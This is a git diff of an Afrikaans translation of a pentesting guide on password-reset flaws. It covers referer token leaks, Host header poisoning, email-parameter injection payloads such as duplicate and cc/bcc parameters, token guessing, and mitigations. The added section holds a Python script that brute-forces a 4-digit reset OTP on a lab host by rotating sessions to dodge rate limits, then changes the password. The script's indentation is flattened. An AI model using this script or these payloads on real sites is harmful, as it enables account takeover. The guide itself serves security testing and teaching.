diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 5a1b9f30e..f82c61711 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -4,26 +4,26 @@ ## **Wagwoord Herstel Token Lek Via Verwysing** -- Die HTTP referer header mag die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel nadat hy 'n wagwoord herstel aangevra het. +- Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel na 'n wagwoord herstel versoek. - **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle. -- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer header lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer header die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel. +- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat verskaf is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel. - **Verwysings**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) - [Wagwoord Herstel Token Lek Artikel](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) -## **Wagwoord Herstel Vergiftiging** +## **Wagwoord Herstel Besmetting** -- Aanvallers mag die Host header manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys. +- Aanvallers kan die Host kop manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys. - **Impak**: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers. - **Versagtingsstappe**: -- Valideer die Host header teen 'n witlys van toegelate domeine. +- Valideer die Host kop teen 'n witlys van toegelate domeine. - Gebruik veilige, bediener-kant metodes om absolute URL's te genereer. -- **Patching**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`. +- **Plek**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`. - **Verwysings**: -- [Acunetix Artikel oor Wagwoord Herstel Vergiftiging](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [Acunetix Artikel oor Wagwoord Herstel Besmetting](https://www.acunetix.com/blog/articles/password-reset-poisoning/) -## **Wagwoord Herstel Deur E-pos Parameter te Manipuleer** +## **Wagwoord Herstel Deur Manipulasie van E-pos Parameter** Aanvallers kan die wagwoord herstel versoek manipuleer deur addisionele e-pos parameters by te voeg om die herstel skakel te omlei. @@ -33,7 +33,7 @@ POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` -- Voeg aanvaller se e-pos as tweede parameter by met behulp van %20 +- Voeg aanvaller e-pos as tweede parameter by met %20 ```php POST /resetPassword [...] @@ -45,13 +45,13 @@ POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- Voeg aanvaller se e-pos as tweede parameter by gebruik van cc +- Voeg die aanvaller se e-pos as tweede parameter by met behulp van cc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` -- Voeg aanvaller e-pos as tweede parameter by gebruik van bcc +- Voeg die aanvaller se e-pos as tweede parameter by met bcc ```php POST /resetPassword [...] @@ -69,8 +69,8 @@ POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` -- **Versagingsstappe**: -- Parseer en valideer e-posparameters behoorlik aan die bediener-kant. +- **Mitigeringstappe**: +- Parse en valideer e-posparameters behoorlik aan die bediener-kant. - Gebruik voorbereide verklarings of geparametriseerde navrae om inspuitaanvalle te voorkom. - **Verwysings**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) @@ -79,33 +79,33 @@ POST /resetPassword ## **Verandering van E-pos en Wagwoord van enige Gebruiker deur API Parameters** -- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeningakkredite te verander. +- Aanvallers kan e-pos en wagwoordparameters in API-versoeke wysig om rekeninginligting te verander. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Mitigeringstappe**: -- Verseker strikte parametervalidasie en outentikasie kontroles. +- Verseker strikte parametervalidasie en outentikasie kontrole. - Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer. - **Verwysing**: -- [Volledige Rekening Oorname via API Parameter Manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) +- [Volledige rekening oorname via API parameter manipulasie](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Geen Tariefbeperking: E-pos Bombardering** -- Gebrek aan tariefbeperking op wagwoordherstelversoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met herstel e-posse. +- Gebrek aan tariefbeperking op wagwoordreset versoeke kan lei tot e-pos bombardering, wat die gebruiker oorweldig met reset e-posse. - **Mitigeringstappe**: - Implementeer tariefbeperking gebaseer op IP-adres of gebruikersrekening. - Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom. - **Verwysings**: - [HackerOne Verslag 280534](https://hackerone.com/reports/280534) -## **Vind uit Hoe Wagwoordherstel Token Geproduseer Word** +## **Vind uit hoe Wagwoord Reset Token gegenereer word** - Om die patroon of metode agter token generasie te verstaan, kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies: - Gebaseer op Tydstempel - Gebaseer op die GebruikerID -- Gebaseer op die e-pos van die Gebruiker +- Gebaseer op e-pos van die gebruiker - Gebaseer op Voornaam en Van - Gebaseer op Geboortedatum - Gebaseer op Kriptografie @@ -116,7 +116,7 @@ POST /api/changepass ## **Raadbare UUID** -- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige herstel tokens te genereer. Kontroleer: +- As UUID's (weergawe 1) raadsbaar of voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kontroleer: {{#ref}} uuid-insecurities.md @@ -124,47 +124,111 @@ uuid-insecurities.md - **Mitigeringstappe**: - Gebruik GUID weergawe 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes. -- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die analise en generasie van GUID's. +- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) om GUID's te analiseer en te genereer. -## **Antwoord Manipulasie: Vervang Slegte Antwoord Met Goeie Een** +## **Antwoord Manipulasie: Vervang Slegte Antwoord met Goeie Een** - Manipuleer HTTP-antwoorde om foutboodskappe of beperkings te omseil. - **Mitigeringstappe**: - Implementeer bediener-kant kontroles om antwoordintegriteit te verseker. -- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom. +- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle aanvalle te voorkom. - **Verwysing**: - [Kritieke Fout in Live Bug Bounty Gebeurtenis](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Gebruik van Verloop Token** -- Toets of vervalde tokens steeds gebruik kan word vir wagwoordherstel. +- Toets of verlopen tokens steeds gebruik kan word vir wagwoordreset. - **Mitigeringstappe**: -- Implementeer strikte token vervaldatabele en valideer token vervaldatum aan die bedienerkant. +- Implementeer strikte token verloopbeleide en valideer token vervaldatum bediener-kant. -## **Brute Force Wagwoordherstel Token** +## **Brute Force Wagwoord Reset Token** -- Poging om die herstel token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil. +- Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde tariefbeperkings te omseil. - **Mitigeringstappe**: - Implementeer robuuste tariefbeperking en rekening sluiting meganismes. - Monitor vir verdagte aktiwiteite wat dui op brute-force aanvalle. -## **Probeer Jou Token Gebruik** +## **Probeer om Jou Token te Gebruik** -- Toets of 'n aanvaller se herstel token gebruik kan word saam met die slagoffer se e-pos. +- Toets of 'n aanvaller se reset token gebruik kan word saam met die slagoffer se e-pos. - **Mitigeringstappe**: -- Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is. +- Verseker dat tokens aan die gebruikersessie of ander gebruikersspesifieke eienskappe gebind is. -## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel** +## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset** -- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord herstel. +- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker afmeld of sy wagwoord reset. - **Mitigeringstappe**: -- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoordherstel. +- Implementeer behoorlike sessiebestuur, wat verseker dat alle sessies ongeldig gemaak word by afmelding of wagwoord reset. -## **Sessie Ongeldigmaking by Afmelding/Wagwoordherstel** +## **Sessie Ongeldigmaking by Afmelding/Wagwoord Reset** -- Herstel tokens moet 'n vervaldatum hê waarna hulle ongeldig word. +- Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word. - **Mitigeringstappe**: -- Stel 'n redelike vervaldatum vir herstel tokens in en handhaaf dit streng aan die bedienerkant. +- Stel 'n redelike vervaldatum vir reset tokens in en handhaaf dit streng bediener-kant. + +## **OTP tariefbeperking omseiling deur jou sessie te verander** + +- As die webwerf 'n gebruikersessie gebruik om verkeerde OTP pogings te volg en die OTP swak was (<= 4 syfers), kan ons effektief die OTP brute-force. +- **uitbuiting**: +- vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is. +- **Voorbeeld** kode wat hierdie fout uitbuit deur die OTP lukraak te raai (wanneer jy die sessie verander, sal die OTP ook verander, en so sal ons nie in volgorde kan brute-force nie!): + +``` python +# Outentikasie omseiling deur wagwoord reset +# deur coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Begin aanval!") +sleep(3) +print("[+] Dit kan ongeveer 5 minute neem om te voltooi!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # lukrake nommer van 0 - 9999 met 4 d +parms["s"] = 164 # nie belangrik nie, dit beïnvloed net die frontend +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # volg aantal pogings +out = requests.get(logout,headers=headers) # log jou uit +mainp = requests.get(root) # kry 'n ander phpssid (token) + +cookies = out.cookies # onttrek die sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" #werk die headers met nuwe sessie op + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # stuur die e-pos om die wagwoord te verander vir +ter = 0 # reset ter sodat ons 'n nuwe sessie kry na 8 pogings +else: +ter += 1 +if(len(res.text) == 2292): # dit is die lengte van die bladsy wanneer jy die herstelkode korrek kry (gekry deur te toets) +print(len(res.text)) # vir foutopsporing +print(phpsessid) + +reset_data = { # hier sal ons die wagwoord na iets nuut verander +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] Wagwoord is verander na:D37djkamd!") +break +except Exception as e: +print("[+] Aanval gestop") +``` ## Verwysings